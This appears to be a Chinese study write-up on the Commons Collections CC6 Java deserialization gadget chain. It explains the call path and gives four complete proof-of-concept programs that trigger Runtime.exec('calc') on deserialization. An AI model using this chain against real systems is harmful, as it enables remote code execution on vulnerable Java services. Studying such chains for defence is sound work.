java_cc链6
这是一条除BadAttributeValueExpException以外调用LazyMa.get方法的链子,也就是cc链5的变形
环境
- apache commons collection3.1-3.2.1
- jdk1.7,1.8
调用链
1 2 3 4 5 6 7 8
| HashSet.readObject()-> HashMap.put()-> HashMap.hash()-> TiedMapEntry.hashCode()-> TiedMapEntry.getValue()-> LazyMap.get()-> ChainedTransformer.transform()-> InvokerTransformer.transform()->...
|
分析调用链
判断调用该代码的对象是否为LinkedHashSet类的实例,由于我们本身就是使用HashSet类调用该代码,所以this为HashMap,判断为假,实例化HashMap类,然后调用HashMap的put方法
接着调用hash方法
其实这两步是可以省略的,我们可以看一下HashMap的readObject方法
这里直接就调用了hash方法,继续
调用key的hashcode方法,这里的key在我们调用put方法时是可以赋任意值的,将它赋值为TiedMapEntry
继续调用getValue方法
后面就和5链一样的了,就不分析了
如果是jdk1.7的版本,只需把HashMap.put()改为HashMa.putForCreate()即可
尝试编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package main.java.cc6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map useless = new HashMap<>(); useless.put("value","ycxlo"); Map lazymap = LazyMap.decorate(useless,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");
HashMap hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"ycxlo"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
弹出了计算器,但是有个异常产生
看了其他师傅的文章,大概是因为我们在执行这段代码时:hashMap.put(tiedMapEntry,"ycxlo");
,就已经执行了计算器的命令,而并没有达成反序列化执行命令,因为HashMap的put方法代码与利用的readObject方法代码基本类似。
解决办法是:先将一个空值的Transformer赋值给chainedTransform,这样在put方法时就不会执行命令,而后利用反射修改chainedTransform的ITransformers属性为实际的Transformers数组
修改exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package main.java.cc6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Transformer[] faketransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers); Map useless = new HashMap<>(); useless.put("value","ycxlo"); Map lazymap = LazyMap.decorate(useless,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");
HashMap hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"ycxlo"); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer,transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
虽说这样改完没有异常了,但是计算器没了….
调试一下,发现hash(key)
中的key变成了123,而不是TiedMapEntry对象
这是因为在执行put方法时,会在LazyMap执行get方法,而执行后会出现这种情况:
此时key和value均为我们实例化TiedMapEntry时的key值(poc中为123),导致hashMap中被赋值一个键值对123⇒123,当我们反序列化再次调用该方法时,key的值为123,在if条件进行判断时,结果为真,跳出语句。
那解决办法也就知道了,将123这个key删除即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package main.java.cc6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Transformer[] faketransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers); Map useless = new HashMap<>(); useless.put("value","ycxlo"); Map lazymap = LazyMap.decorate(useless,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");
HashMap hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"ycxlo"); lazymap.remove("123");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer,transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
HashSet链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package main.java.cc6;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class cc6 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Transformer[] faketransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers); Map useless = new HashMap<>(); useless.put("value","ycxlo"); Map lazymap = LazyMap.decorate(useless,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");
HashSet hashSet = new HashSet<>(1); hashSet.add(tiedMapEntry); lazymap.remove("123");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer,transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashSet); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|